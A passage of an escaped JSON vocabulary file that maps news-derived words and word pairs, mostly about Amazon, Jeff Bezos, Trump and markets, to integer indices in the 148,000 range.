\"security mail\": 147847,\n  \"called dhl\": 147848,\n  \"democratize\": 147849,\n  \"step process\": 147850,\n  \"border 61st\": 147851,\n  \"onex\": 147852,\n  \"573m\": 147853,\n  \"goldberg jeffreygoldberg\": 147854,\n  \"price 710\": 147855,\n  \"successfully championed\": 147856,\n  \"economic wariness\": 147857,\n  \"adrienne\": 147858,\n  \"kennebunkport\": 147859,\n  \"trump plan\": 147860,\n  \"plus shipping\": 147861,\n  \"penning\": 147862,\n  \"amat posted\": 147863,\n  \"promoimage\": 147864,\n  \"big percentage\": 147865,\n  \"000 just\": 147866,\n  \"barely appeared\": 147867,\n  \"free card\": 147868,\n  \"mute conservative\": 147869,\n  \"best prime\": 147870,\n  \"remain missing\": 147871,\n  \"learn important\": 147872,\n  \"rights advocate\": 147873,\n  \"worry abut\": 147874,\n  \"grim calculus\": 147875,\n  \"people fear\": 147876,\n  \"lobbying agency\": 147877,\n  \"satellite phones\": 147878,\n  \"quick fix\": 147879,\n  \"partial shutdown\": 147880,\n  \"routers seattle\": 147881,\n  \"await large\": 147882,\n  \"tax abatement\": 147883,\n  \"extinguished america\": 147884,\n  \"2019 core\": 147885,\n  \"pure speculation\": 147886,\n  \"format\": 147887,\n  \"user based\": 147888,\n  \"wrecked\": 147889,\n  \"actively managed\": 147890,\n  \"squeezing admissions\": 147891,\n  \"secure amazon\": 147892,\n  \"fabric high\": 147893,\n  \"harvey told\": 147894,\n  \"dope photographer\": 147895,\n  \"magazine taking\": 147896,\n  \"extent possible\": 147897,\n  \"certain groups\": 147898,\n  \"coffee line\": 147899,\n  \"operation amazon\": 147900,\n  \"attainment canada\": 147901,\n  \"institutionalization\": 147902,\n  \"child early\": 147903,\n  \"best\": 147904,\n  \"sultan claims\": 147905,\n  \"trump defense\": 147906,\n  \"increased greatly\": 147907,\n  \"pat gelsinger\": 147908,\n  \"likemust\": 147909,\n  \"suggested amazon\": 147910,\n  \"company saladish\": 147911,\n  \"late\": 147912,\n  \"binding contracts\": 147913,\n  \"virginia understanding\": 147914,\n  \"wieser senior\": 147915,\n  \"establish postal\": 147916,\n  \"case 2018\": 147917,\n  \"strong decrease\": 147918,\n  \"better sp\": 147919,\n  \"covered ton\": 147920,\n  \"border region\": 147921,\n  \"devastating supreme\": 147922,\n  \"know trump\": 147923,\n  \"old lauren\": 147924,\n  \"drivers delivering\": 147925,\n  \"media stunned\": 147926,\n  \"istoric\": 147927,\n  \"bought 171\": 147928,\n  \"ubs analysts\": 147929,\n  \"bezos phrase\": 147930,\n  \"idea trump\": 147931,\n  \"employee advocacy\": 147932,\n  \"laughable incoherent\": 147933,\n  \"managing staff\": 147934,\n  \"moon\": 147935,\n  \"critical support\": 147936,\n  \"miserable lives\": 147937,\n  \"theweek\": 147938,\n  \"assisting\": 147939,\n  \"insider mashable\": 147940,\n  \"box customer\": 147941,\n  \"managers drivers\": 147942,\n  \"help amazon\": 147943,\n  \"bezos individual\": 147944,\n  \"bestseller charts\": 147945,\n  \"lobbying quarter\": 147946,\n  \"china treats\": 147947,\n  \"attack continue\": 147948,\n  \"deal sees\": 147949,\n  \"disabilities\": 147950,\n  \"retreat\": 147951,\n  \"defense consumer\": 147952,\n  \"bankruptcy court\": 147953,\n  \"wonderfully\": 147954,\n  \"president contends\": 147955,\n  \"haley despite\": 147956,\n  \"lima trump\": 147957,\n  \"profits earnings\": 147958,\n  \"having changed\": 147959,\n  \"photo rick\": 147960,\n  \"quasi\": 147961,\n  \"anti trust\": 147962,\n  \"wyckhouse\": 147963,\n  \"soft money\": 147964,\n  \"reuters report\": 147965,\n  \"assistants\": 147966,\n  \"players don\": 147967,\n  \"crisis sent\": 147968,\n  \"pares\": 147969,\n  \"recruiting\": 147970,\n  \"required meetings\": 147971,\n  \"post boeing\": 147972,\n  \"stick depending\": 147973,\n  \"amazon advance\": 147974,\n  \"nasdaq extend\": 147975,\n  \"movado mov\": 147976,\n  \"confined\": 147977,\n  \"amazon walmart\": 147978,\n  \"going bit\": 147979,\n  \"trump approach\": 147980,\n  \"akufo\": 147981,\n  \"paid women\": 147982,\n  \"break bolduan\": 147983,\n  \"walkouts turn\": 147984,\n  \"alas\": 147985,\n  \"sony\": 147986,\n  \"president say\": 147987,\n  \"leveraging control\": 147988,\n  \"free innovation\": 147989,\n  \"primarily related\": 147990,\n  \"old boy\": 147991,\n  \"goggles\": 147992,\n  \"267 billion\": 147993,\n  \"remediation plan\": 147994,\n  \"warehouse closet\": 147995,\n  \"ram\": 147996,\n  \"consumable manufacturers\": 147997,\n  \"usually earned\": 147998,\n  \"atypical\": 147999,\n  \"posted quarterly\": 148000,\n  \"notoriously secretive\": 148001,\n  \"rewarded dissidents\": 148002,\n  \"mail consisted\": 148003,\n  \"confines\": 148004,\n  \"treasury market\": 148005,\n  \"consider projects\": 148006,\n  \"rep mark\": 148007,\n  \"sure amazon\": 148008,\n  \"streaming rights\": 148009,\n  \"geekwire spoke\": 148010,\n  \"scientists bombshell\": 148011,\n  \"cadaver dogs\": 148012,\n  \"managed\": 148013,\n  \"breaks hickman\": 148014,\n  \"wage pressures\": 148015,\n  \"opposed amazon\": 148016,\n  \"digital trends\": 148017,\n  \"court moves\": 148018,\n  \"nil nought\": 148019,\n  \"valuation destruction\": 148020,\n  \"incidentally amazon\": 148021,\n  \"email trump\": 148022,\n  \"carterpage created\": 148023,\n  \"guidance going\": 148024,\n  \"association badge\": 148025,\n  \"new north\": 148026,\n  \"googl google\": 148027,\n  \"quintessentially american\": 148028,\n  \"9c59 8e811a57a619\": 148029,\n  \"citi chief\": 148030,\n  \"rich subsidizing\": 148031,\n  \"stakeholder content\": 148032,\n  \"state add_commas\": 148033,\n  \"saudi claim\": 148034,\n  \"earth newborn\": 148035,\n  \"dea mod\": 148036,\n  \"videoinstance config\": 148037,\n  \"phrased\": 148038,\n  \"seekers\": 148039,\n  \"resolution requests\": 148040,\n  \"radio consortium\": 148041,\n  \"trump bashing\": 148042,\n  \"postal office\": 148043,\n  \"unidentified male\": 148044,\n  \"multiple technology\": 148045,\n  \"growth did\": 148046,\n  \"great halloween\": 148047,\n  \"jr blastedcnn\": 148048,\n  \"employee productivity\": 148049,\n  \"sheffield\": 148050,\n  \"leary image\": 148051,\n  \"laguardia\": 148052,\n  \"marillyn\": 148053,\n  \"remains north\": 148054,\n  \"watched\": 148055,\n  \"uber introduced\": 148056,\n  \"overall income\": 148057,\n  \"pressure national\": 148058,\n  \"current law\": 148059,\n  \"doesn protect\": 148060,\n  \"supporting\": 148061,\n  \"agreement sex\": 148062,\n  \"companies choose\": 148063,\n  \"facebook scandal\": 148064,\n  \"stability\": 148065,\n  \"introduce resolution\": 148066,\n  \"prado\": 148067,\n  \"deliberation\": 148068,\n  \"mail firms\": 148069,\n  \"amazing project\": 148070,\n  \"trustthe\": 148071,\n  \"000 acre\": 148072,\n  \"analysts think\": 148073,\n  \"general american\": 148074,\n  \"j8i c0\": 148075,\n  \"response ben\": 148076,\n  \"corporate citizenship\": 148077,\n  \"takes center\": 148078,\n  \"000 refugees\": 148079,\n  \"twitter appear\": 148080,\n  \"billionaires index\": 148081,\n  \"reuters pompeo\": 148082,\n  \"lines saks\": 148083,\n  \"maezawa weren\": 148084,\n  \"arabia abdullah\": 148085,\n  \"nyt tech\": 148086,\n  \"hasn turned\": 148087,\n  \"sold shirts\": 148088,\n  \"sector bartiromo\": 148089,\n  \"soybeans china\": 148090,\n  \"know mattingly\": 148091,\n  \"diet hack\": 148092,\n  \"vigilant\": 148093,\n  \"trust issues\": 148094,\n  \"largest member\": 148095,\n  \"country home\": 148096,\n  \"jpgnews\": 148097,\n  \"companies making\": 148098,\n  \"independent federal\": 148099,\n  \"additional initiatives\": 148100,\n  \"kristine\": 148101,\n  \"educate\": 148102,\n  \"estate brian\": 148103,\n  \"445 million\": 148104,\n  \"ring dubai\": 148105,\n  \"tweet\": 148106,\n  \"extraordinary step\": 148107,\n  \"took home\": 148108,\n  \"celebratory dance\": 148109,\n  \"netflixs new\": 148110,\n  \"fds\": 148111,\n  \"tom bateman\": 148112,\n  \"ifhe\": 148113,\n  \"different buying\": 148114,\n  \"mailbox geddes\": 148115,\n  \"receive billion\": 148116,\n  \"lagged effect\": 148117,\n  \"profound positive\": 148118,\n  \"analyst told\": 148119,\n  \"promising growth\": 148120,\n  \"live snl\": 148121,\n  \"fedex headquarters\": 148122,\n  \"retail shipments\": 148123,\n  \"sampson\": 148124,\n  \"bashing stories\": 148125,\n  \"dods\": 148126,\n  \"different life\": 148127,\n  \"electronics morgan\": 148128,\n  \"data lot\": 148129,\n  \"entire customs\": 148130,\n  \"subsidize coal\": 148131,\n  \"online market\": 148132,\n  \"benefited trump\": 148133,\n  \"united tech\": 148134,\n  \"area amazon\": 148135,\n  \"nyc19 pictures\": 148136,\n  \"powerful rivals\": 148137,\n  \"retired judges\": 148138,\n  \"inc_serid\": 148139,\n  \"rate pact\": 148140,\n  \"senate confirmation\": 148141,\n  \"null inc_show_feature_imageflag\": 148142,\n  \"spared certain\": 148143,\n  \"members buy\": 148144,\n  \"buy anthropologie\": 148145,\n  \"warner growth\": 148146,\n  \"demand meal\": 148147,\n  \"billion stated\": 148148,\n  \"lisa lerer\": 148149,\n  \"indian american\": 148150,\n  \"funny daddy\": 148151,\n  \"services providing\": 148152,\n  \"accomplishments thanks\": 148153,\n  \"hourly employees\": 148154,\n  \"futures rise\": 148155,\n  \"young man\": 148156,\n  \"services figures\": 148157,\n  \"fbi joining\": 148158,\n  \"nielsen\": 148159,\n  \"janeiro published\": 148160,\n  \"planet\": 148161,\n  \"satirical washington\": 148162,\n  \"fulfill orders\": 148163,\n  \"watchers struggling\": 148164,\n  \"represents mind\": 148165,\n  \"rates charged\": 148166,\n  \"coping\": 148167,\n  \"owned oil\": 148168,\n  \"pond reaches\": 148169,\n  \"delong ring\": 148170,\n  \"large city\": 148171,\n  \"expectations boosted\": 148172,\n  \"radio networks\": 148173,\n  \"bits nibbles\": 148174,\n  \"amazon rips\": 148175,\n  \"left leaning\": 148176,\n  \"annual basis\": 148177,\n  \"list follow\": 148178,\n  \"netflix earlier\": 148179,\n  \"owned washington\": 148180,\n  \"weather 6am\": 148181,\n  \"leading economic\": 148182,\n  \"product update\": 148183,\n  \"extreme\": 148184,\n  \"politics changed\": 148185,\n  \"brazil carbon\": 148186,\n  \"procurement agency\": 148187,\n  \"wealthy investors\": 148188,\n  \"geo politically\": 148189,\n  \"rob schwietzer\": 148190,\n  \"aid president\": 148191,\n  \"natural consequence\": 148192,\n  \"business declared\": 148193,\n  \"capital loss\": 148194,\n  \"payloader\": 148195,\n  \"human blood\": 148196,\n  \"kyl\": 148197,\n  \"obrador political\": 148198,\n  \"slightly weaker\": 148199,\n  \"fine print\": 148200,\n  \"high nevada\": 148201,\n  \"advisories\": 148202,\n  \"know look\": 148203,\n  \"whitaker told\": 148204,\n  \"fun cap\": 148205,\n  \"carrell shot\": 148206,\n  \"sprucing\": 148207,\n  \"crm climbed\": 148208,\n  \"yg2nhpt78i\": 148209,\n  \"government did\": 148210,\n  \"publishing house\": 148211,\n  \"160bn bezos\": 148212,\n  \"events generate\": 148213,\n  \"raising commercial\": 148214,\n  \"fracas\": 148215,\n  \"traders don\": 148216,\n  \"rosenstein talk\": 148217,\n  \"simmering officials\": 148218,\n  \"entirely neglected\": 148219,\n  \"mean trump\": 148220,\n  \"lieutenants\": 148221,\n  \"huber security\": 148222,\n  \"systematic abuse\": 148223,\n  \"uber air\": 148224,\n  \"renault merger\": 148225,\n  \"organizers protesting\": 148226,\n  \"seconds severe\": 148227,\n  \"guggenheim partners\": 148228,\n  \"screeds gain\": 148229,\n  \"late 80s\": 148230,\n  \"rodents\": 148231,\n  \"anissa\": 148232,\n  \"owning cnn\": 148233,\n  \"standalone business\": 148234,\n  \"delta general\": 148235,\n  \"imdb dogtooth\": 148236,\n  \"wolff source\": 148237,\n  \"petrochina oil\": 148238,\n  \"tucker diatribe\": 148239,\n  \"remained optimistic\": 148240,\n  \"owo uvu\": 148241,\n  \"senate rejects\": 148242,\n  \"remain high\": 148243,\n  \"foundational space\": 148244,\n  \"people wanted\": 148245,\n  \"hitler mao\": 148246,\n  \"imposing minimum\": 148247,\n  \"undermine\": 148248,\n  \"free kindle\": 148249,\n  \"hartford\": 148250,\n  \"brazil uruguay\": 148251,\n  \"distraction count\": 148252,\n  \"wing politics\": 148253,\n  \"ambiguity\": 148254,\n  \"u0 l2\": 148255,\n  \"trump travel\": 148256,\n  \"service nixed\": 148257,\n  \"jwn kroger\": 148258,\n  \"remains smoky\": 148259,\n  \"amazon caravan\": 148260,\n  \"purchases leave\": 148261,\n  \"shows americans\": 148262,\n  \"wasn satisfied\": 148263,\n  \"retain teachers\": 148264,\n  \"rules called\": 148265,\n  \"plagiarism\": 148266,\n  \"european manufacturer\": 148267,\n  \"\\u0627\\u0644\\u0628\\u0639\\u064a\\u062f\": 148268,\n  \"trump announced\": 148269,\n  \"cool ways\": 148270,\n  \"news agency\": 148271,\n  \"fallout collected\": 148272,\n  \"sustainable arena\": 148273,\n  \"7a\": 148274,\n  \"car parts\": 148275,\n  \"publicly write\": 148276,\n  \"new versus\": 148277,\n  \"unique insight\": 148278,\n  \"unit ge\": 148279,\n  \"people just\": 148280,\n  \"signficance\": 148281,\n  \"shelters\": 148282,\n  \"racism dc\": 148283,\n  \"587 000\": 148284,\n  \"landmark note\": 148285,\n  \"claims scott\": 148286,\n  \"opiod epidemic\": 148287,\n  \"cover increased\": 148288,\n  \"council trump\": 148289,\n  \"kumar\": 148290,\n  \"beat 2018\": 148291,\n  \"mankind\": 148292,\n  \"reported 893\": 148293,\n  \"garrick kidman\": 148294,\n  \"bezos wasn\": 148295,\n  \"grosso state\": 148296,\n  \"stalemate minutes\": 148297,\n  \"cynics\": 148298,\n  \"compromise averting\": 148299,\n  \"streak ending\": 148300,\n  \"experiment studying\": 148301,\n  \"access amazon\": 148302,\n  \"right muckerman\": 148303,\n  \"mccabe saying\": 148304,\n  \"alphabet given\": 148305,\n  \"enquirer exposes\": 148306,\n  \"cfra research\": 148307,\n  \"noble bks\": 148308,\n  \"virginia gov\": 148309,\n  \"polarizing\": 148310,\n  \"companies going\": 148311,\n  \"hide enquirer\": 148312,\n  \"billion aws\": 148313,\n  \"fischer reports\": 148314,\n  \"tackle growing\": 148315,\n  \"seattle suburb\": 148316,\n  \"punitive damages\": 148317,\n  \"herera sue\": 148318,\n  \"sidecar\": 148319,\n  \"visit french\": 148320,\n  \"family run\": 148321,\n  \"etsy ceo\": 148322,\n  \"says andy\": 148323,\n  \"photos melania\": 148324,\n  \"feist\": 148325,\n  \"alibaba access\": 148326,\n  \"55m bezos\": 148327,\n  \"film world\": 148328,\n  \"vermont 2020\": 148329,\n  \"myreipro dot\": 148330,\n  \"businesses pay\": 148331,\n  \"timmins mom\": 148332,\n  \"andsay\": 148333,\n  \"tijuana\": 148334,\n  \"ask economist\": 148335,\n  \"billion ninety\": 148336,\n  \"told social\": 148337,\n  \"competitive conduct\": 148338,\n  \"local county\": 148339,\n  \"barrons\": 148340,\n  \"digital strategist\": 148341,\n  \"seriously wall\": 148342,\n  \"wapo josh\": 148343,\n  \"image todd\": 148344,\n  \"hickman stated\": 148345,\n  \"cbs cnn\": 148346,\n  \"bought items\": 148347,\n  \"dressing\": 148348,\n  \"police states\": 148349,\n  \"democratic lawmaker\": 148350,\n  \"classification disputes\": 148351,\n  \"nvidia loses\": 148352,\n  \"important protections\": 148353,\n  \"asked roig\": 148354,\n  \"content claire\": 148355,\n  \"dealer alec\": 148356,\n  \"powerball turn\": 148357,\n  \"company legal\": 148358,\n  \"military brat\": 148359,\n  \"ohio abortion\": 148360,\n  \"2018 pledge\": 148361,\n  \"wrote wrong\": 148362,\n  \"2017 las\": 148363,\n  \"emarketer verna\": 148364,\n  \"ma hc\": 148365,\n  \"unprecedented scale\": 148366,\n  \"facing criticism\": 148367,\n  \"487 locations\": 148368,\n  \"getinstance\": 148369,\n  \"rep michael\": 148370,\n  \"separately amazon\": 148371,\n  \"methods familiar\": 148372,\n  \"considered hot\": 148373,\n  \"dreamed\": 148374,\n  \"uae\": 148375,\n  \"really tough\": 148376,\n  \"joined kathie\": 148377,\n  \"individuals pursuing\": 148378,\n  \"including eliminating\": 148379,\n  \"crossed billion\": 148380,\n  \"initiative created\": 148381,\n  \"farmer\": 148382,\n  \"formula appears\": 148383,\n  \"angry maga\": 148384,\n  \"acquisitions stand\": 148385,\n  \"fraud perjury\": 148386,\n  \"wanna\": 148387,\n  \"mulroney\": 148388,\n  \"cbs evening\": 148389,\n  \"formed partnerships\": 148390,\n  \"leadership 2020\": 148391,\n  \"aide douglas\": 148392,\n  \"trump list\": 148393,\n  \"weisberger buy\": 148394,\n  \"story appeared\": 148395,\n  \"business empire\": 148396,\n  \"unrivaled online\": 148397,\n  \"rec mizuho\": 148398,\n  \"quality control\": 148399,\n  \"atmospheric\": 148400,\n  \"tomi adeyemi\": 148401,\n  \"steadily increased\": 148402,\n  \"awe\": 148403,\n  \"amazon founders\": 148404,\n  \"gone crazy\": 148405,\n  \"thomas magnum\": 148406,\n  \"golf course\": 148407,\n  \"predominately\": 148408,\n  \"concert series\": 148409,\n  \"bias big\": 148410,\n  \"error compared\": 148411,\n  \"alliance forming\": 148412,\n  \"sorkin\": 148413,\n  \"addictive drugs\": 148414,\n  \"rocks vest\": 148415,\n  \"mrntf 8700\": 148416,\n  \"edged higher\": 148417,\n  \"orlean simon\": 148418,\n  \"writers freelancers\": 148419,\n  \"present gun\": 148420,\n  \"morning harvard\": 148421,\n  \"automatic pay\": 148422,\n  \"public sources\": 148423,\n  \"supporters believe\": 148424,\n  \"maintain contracts\": 148425,\n  \"fictional villain\": 148426,\n  \"outlets cnbc\": 148427,\n  \"faced lot\": 148428,\n  \"utterance\": 148429,\n  \"makes huge\": 148430,\n  \"enforcing speedups\": 148431,\n  \"accompanying\": 148432,\n  \"believed fervently\": 148433,\n  \"providing discounted\": 148434,\n  \"bumper sticker\": 148435,\n  \"sold ecl\": 148436,\n  \"added\": 148437,\n  \"engaging\": 148438,\n  \"statement governor\": 148439,\n  \"did video\": 148440,\n  \"cleared mini\": 148441,\n  \"tweet marks\": 148442,\n  \"102602cb 231\": 148443,\n  \"canada toke\": 148444,\n  \"services apart\": 148445,\n  \"issues according\": 148446,\n  \"coffee giant\": 148447,\n  \"build entire\": 148448,\n  \"department lawyer\": 148449,\n  \"amazon lucrative\": 148450,\n  \"life self\": 148451,\n  \"think tank\": 148452,\n  \"space race\": 148453,\n  \"officials corporate\": 148454,\n  \"juvenile petty\": 148455,\n  \"marcus stanley\": 148456,\n  \"overlapping interests\": 148457,\n  \"latest homophobic\": 148458,\n  \"nasdaq stocks\": 148459,\n  \"ousts\": 148460,\n  \"join forces\": 148461,\n  \"self reliant\": 148462,\n  \"worth today\": 148463,\n  \"trucker\": 148464,\n  \"votesaveamerica\": 148465,\n  \"ceo drew\": 148466,\n  \"declaring 300\": 148467,\n  \"rl turk\": 148468,\n  \"starts tour\": 148469,\n  \"680 words\": 148470,\n  \"run outside\": 148471,\n  \"helping low\": 148472,\n  \"features iwan\": 148473,\n  \"employees donated\": 148474,\n  \"thought glad\": 148475,\n  \"children just\": 148476,\n  \"suggested ami\": 148477,\n  \"prompting\": 148478,\n  \"facebook people\": 148479,\n  \"jan25 help\": 148480,\n  \"seeking declaratory\": 148481,\n  \"1084627451983073280 twitter\": 148482,\n  \"baker nyt\": 148483,\n  \"import services\": 148484,\n  \"terms galloway\": 148485,\n  \"unanimously\": 148486,\n  \"amazon worth\": 148487,\n  \"driver seat\": 148488,\n  \"cohen steers\": 148489,\n  \"comics character\": 148490,\n  \"offbeat fast\": 148491,\n  \"valued partner\": 148492,\n  \"honor\": 148493,\n  \"sheuvachman\": 148494,\n  \"historic landmark\": 148495,\n  \"enquirer lawyers\": 148496,\n  \"big loser\": 148497,\n  \"woman berlin\": 148498,\n  \"indonesia judge\": 148499,\n  \"troop deployments\": 148500,\n  \"peacockery\": 148501,\n  \"says steve\": 148502,\n  \"child sexual\": 148503,\n  \"know president\": 148504,\n  \"contaminates soil\": 148505,\n  \"laps\": 148506,\n  \"curated independently\": 148507,\n  \"howell\": 148508,\n  \"information warfare\": 148509,\n  \"sorted packages\": 148510,\n  \"videodescriptiondivid js\": 148511,\n  \"fred funneled\": 148512,\n  \"worst investment\": 148513,\n  \"tariff category\": 148514,\n  \"monopolists demand\": 148515,\n  \"build cloud\": 148516,\n  \"new time\": 148517,\n  \"helping stabilize\": 148518,\n  \"rate tightening\": 148519,\n  \"house senate\": 148520,\n  \"2020 fda\": 148521,\n  \"data ahead\": 148522,\n  \"reason president\": 148523,\n  \"community 600\": 148524,\n  \"women killed\": 148525,\n  \"tech wings\": 148526,\n  \"kos\": 148527,\n  \"austin evers\": 148528,\n  \"overall viewed\": 148529,\n  \"corporations trump\": 148530,\n  \"ignored\": 148531,\n  \"air operations\": 148532,\n  \"enquirer allegations\": 148533,\n  \"nytimes\": 148534,\n  \"enemy bezos\": 148535,\n  \"terry pratchett\": 148536,\n  \"buy coffee\": 148537,\n  \"apple insiders\": 148538,\n  \"hurt safe\": 148539,\n  \"provided security\": 148540,\n  \"targeted cnn\": 148541,\n  \"believe ultimately\": 148542,\n  \"widely attributed\": 148543,\n  \"advise web\": 148544,\n  \"quickly learned\": 148545,\n  \"history reveals\": 148546,\n  \"tweeted dianaee\": 148547,\n  \"enquirer drew\": 148548,\n  \"demanding amazon\": 148549,\n  \"harrowing hectic\": 148550,\n  \"gorsuch\": 148551,\n  \"year corporations\": 148552,\n  \"world major\": 148553,\n  \"bush hager\": 148554,\n  \"important programs\": 148555,\n  \"isstill evaluating\": 148556,\n  \"zones incentivize\": 148557,\n  \"republican accusations\": 148558,\n  \"adjusted according\": 148559,\n  \"serving hits\": 148560,\n  \"outsourcing\": 148561,\n  \"memphis good\": 148562,\n  \"feel believe\": 148563,\n  \"20m\": 148564,\n  \"polls point\": 148565,\n  \"preschools zuckerberg\": 148566,\n  \"companies insider\": 148567,\n  \"california santa\": 148568,\n  \"amazon aws\": 148569,\n  \"best efforts\": 148570,\n  \"wages data\": 148571,\n  \"groene\": 148572,\n  \"significant questions\": 148573,\n  \"allows users\": 148574,\n  \"embarrassing pictures\": 148575,\n  \"illustrates\": 148576,\n  \"educators katie\": 148577,\n  \"doctor visit\": 148578,\n  \"shadows\": 148579,\n  \"gain stop\": 148580,\n  \"chicago alleged\": 148581,\n  \"believing books\": 148582,\n  \"pilot hostilities\": 148583,\n  \"languages\": 148584,\n  \"recommends mail\": 148585,\n  \"saw record\": 148586,\n  \"netflix suspiria\": 148587,\n  \"generous parental\": 148588,\n  \"rebecca akufo\": 148589,\n  \"foto incendida\": 148590,\n  \"oxymoronic\": 148591,\n  \"driving traffic\": 148592,\n  \"kudlow\": 148593,\n  \"barely notice\": 148594,\n  \"magically delivers\": 148595,\n  \"projects following\": 148596,\n  \"doesn propose\": 148597,\n  \"chuck points\": 148598,\n  \"shawna\": 148599,\n  \"titled restructure\": 148600,\n  \"company bans\": 148601,\n  \"recognized expert\": 148602,\n  \"metros\": 148603,\n  \"574\": 148604,\n  \"hates trump\": 148605,\n  \"easy amazon\": 148606,\n  \"enquirer emails\": 148607,\n  \"trump government\": 148608,\n  \"washington insists\": 148609,\n  \"pfe\": 148610,\n  \"appear stalled\": 148611,\n  \"service dimondstein\": 148612,\n  \"charger look\": 148613,\n  \"say consumers\": 148614,\n  \"dod authorization\": 148615,\n  \"mining rainforest\": 148616,\n  \"writes joe\": 148617,\n  \"powerful wind\": 148618,\n  \"covering immigration\": 148619,\n  \"imminent\": 148620,\n  \"francisco ____________________________today\": 148621,\n  \"won sign\": 148622,\n  \"drains\": 148623,\n  \"amid amazon\": 148624,\n  \"enforce fines\": 148625,\n  \"granted illegal\": 148626,\n  \"building wall\": 148627,\n  \"blumenthal defended\": 148628,\n  \"present service\": 148629,\n  \"oil launching\": 148630,\n  \"unlike ordinary\": 148631,\n  \"challenging unregulated\": 148632,\n  \"lead remediation\": 148633,\n  \"cities provides\": 148634,\n  \"data misuse\": 148635,\n  \"readmorearticles null\": 148636,\n  \"court fact\": 148637,\n  \"formed company\": 148638,\n  \"robo\": 148639,\n  \"female rapist\": 148640,\n  \"pegged wayfair\": 148641,\n  \"bypassing conservative\": 148642,\n  \"diversify globally\": 148643,\n  \"thrives\": 148644,\n  \"deliveries trump\": 148645,\n  \"profile\": 148646,\n  \"mel gibson\": 148647,\n  \"craig coyne\": 148648,\n  \"dell dell\": 148649,\n  \"shoes goldman\": 148650,\n  \"locations maybe\": 148651,\n  \"hq2 debate\": 148652,\n  \"dives\": 148653,\n  \"gordon managing\": 148654,\n  \"bombard consumers\": 148655,\n  \"vendor connecticut\": 148656,\n  \"2018 telsey\": 148657,\n  \"competitor president\": 148658,\n  \"later stages\": 148659,\n  \"takes global\": 148660,\n  \"strikingly\": 148661,\n  \"forgotten\": 148662,\n  \"worldwide 341\": 148663,\n  \"promoting program\": 148664,\n  \"forgiveness program\": 148665,\n  \"insider prime\": 148666,\n  \"calling customer\": 148667,\n  \"unsecured iphone\": 148668,\n  \"hasn completely\": 148669,\n  \"plane enders\": 148670,\n  \"brewing\": 148671,\n  \"wrestle\": 148672,\n  \"dating crudo\": 148673,\n  \"negligent handling\": 148674,\n  \"trump kool\": 148675,\n  \"city decided\": 148676,\n  \"concluded psssttt\": 148677,\n  \"government shuts\": 148678,\n  \"effect amazon\": 148679,\n  \"lobby newspaper\": 148680,\n  \"cheese copyright\": 148681,\n  \"tarps\": 148682,\n  \"rtx based\": 148683,\n  \"story questions\": 148684,\n  \"amazon india\": 148685,\n  \"utm_term\": 148686,\n  \"seventeen\": 148687,\n  \"patreon\": 148688,\n  \"asked legal\": 148689,\n  \"hours left\": 148690,\n  \"effectively undercutting\": 148691,\n  \"levy extreme\": 148692,\n  \"story nikkei\": 148693,\n  \"africa tour\": 148694,\n  \"filed lawsuit\": 148695,\n  \"week wished\": 148696,\n  \"recreational marijuana\": 148697,\n  \"finance think\": 148698,\n  \"executive jack\": 148699,\n  \"reimbursement\": 148700,\n  \"indicate agile\": 148701,\n  \"comparison\": 148702,\n  \"consumers care\": 148703,\n  \"home assistants\": 148704,\n  \"secret psych\": 148705,\n  \"wire warning\": 148706,\n  \"threat separately\": 148707,\n  \"jim acosta\": 148708,\n  \"jeb yeah\": 148709,\n  \"day roughly\": 148710,\n  \"spend combined\": 148711,\n  \"reuters nov\": 148712,\n  \"new working\": 148713,\n  \"tweet slamming\": 148714,\n  \"papers linked\": 148715,\n  \"smart energy\": 148716,\n  \"inc_track_changesflag\": 148717,\n  \"mandatory arbitration\": 148718,\n  \"society today\": 148719,\n  \"line conservatives\": 148720,\n  \"reads photo\": 148721,\n  \"tail\": 148722,\n  \"bring home\": 148723,\n  \"suite erp\": 148724,\n  \"know exactly\": 148725,\n  \"activity amzn\": 148726,\n  \"quietly dropped\": 148727,\n  \"posted tweet\": 148728,\n  \"appl supplier\": 148729,\n  \"dossier putin\": 148730,\n  \"profit netflix\": 148731,\n  \"jeers\": 148732,\n  \"law sunscreen\": 148733,\n  \"sourcefilene basement\": 148734,\n  \"financial footprint\": 148735,\n  \"shay\": 148736,\n  \"crisis instead\": 148737,\n  \"microsoft corp\": 148738,\n  \"raged\": 148739,\n  \"generalized sleaze\": 148740,\n  \"factthat mccabe\": 148741,\n  \"lodging rent\": 148742,\n  \"horrid\": 148743,\n  \"touring new\": 148744,\n  \"accusing china\": 148745,\n  \"planned second\": 148746,\n  \"online form\": 148747,\n  \"staffer directly\": 148748,\n  \"insider verizon\": 148749,\n  \"investigating weinstein\": 148750,\n  \"headquarters nyc1\": 148751,\n  \"random bezos\": 148752,\n  \"sen rand\": 148753,\n  \"great medicine\": 148754,\n  \"city specifically\": 148755,\n  \"tides\": 148756,\n  \"middleweight\": 148757,\n  \"clothing shoes\": 148758,\n  \"long given\": 148759,\n  \"subjects related\": 148760,\n  \"story uber\": 148761,\n  \"participating\": 148762,\n  \"4k words\": 148763,\n  \"pubggad pubgmhbd\": 148764,\n  \"stoxx\": 148765,\n  \"voracious reader\": 148766,\n  \"victory bezos\": 148767,\n  \"depressing\": 148768,\n  \"company repurchased\": 148769,\n  \"implicated trump\": 148770,\n  \"desney\": 148771,\n  \"barriers facilitating\": 148772,\n  \"book continues\": 148773,\n  \"frequently accused\": 148774,\n  \"ms bush\": 148775,\n  \"bezos building\": 148776,\n  \"news broadcasting\": 148777,\n  \"admp today\": 148778,\n  \"advise trump\": 148779,\n  \"barela\": 148780,\n  \"exploring ways\": 148781,\n  \"philly suburbs\": 148782,\n  \"filing divorce\": 148783,\n  \"montellaro\": 148784,\n  \"extreme bearishness\": 148785,\n  \"effect prior\": 148786,\n  \"trade white\": 148787,\n  \"avoided high\": 148788,\n  \"post news\": 148789,\n  \"potus began\": 148790,\n  \"court donovan\": 148791,\n  \"iran prison\": 148792,\n  \"year viral\": 148793,\n  \"customer loyalty\": 148794,\n  \"inquiring minds\": 148795,\n  \"quickly deleted\": 148796,\n  \"rheinberg germany\": 148797,\n  \"broussard\": 148798,\n  \"health benefits\": 148799,\n  \"expect warmer\": 148800,\n  \"blooms\": 148801,\n  \"advocates\": 148802,\n  \"station manager\": 148803,\n  \"government experience\": 148804,\n  \"arrange\": 148805,\n  \"peak amazon\": 148806,\n  \"p7 t9x\": 148807,\n  \"wage vendetta\": 148808,\n  \"semiconductor index\": 148809,\n  \"social circle\": 148810,\n  \"period drama\": 148811,\n  \"nichol\": 148812,\n  \"calls including\": 148813,\n  \"russells\": 148814,\n  \"red meat\": 148815,\n  \"raises privacy\": 148816,\n  \"blame rapidly\": 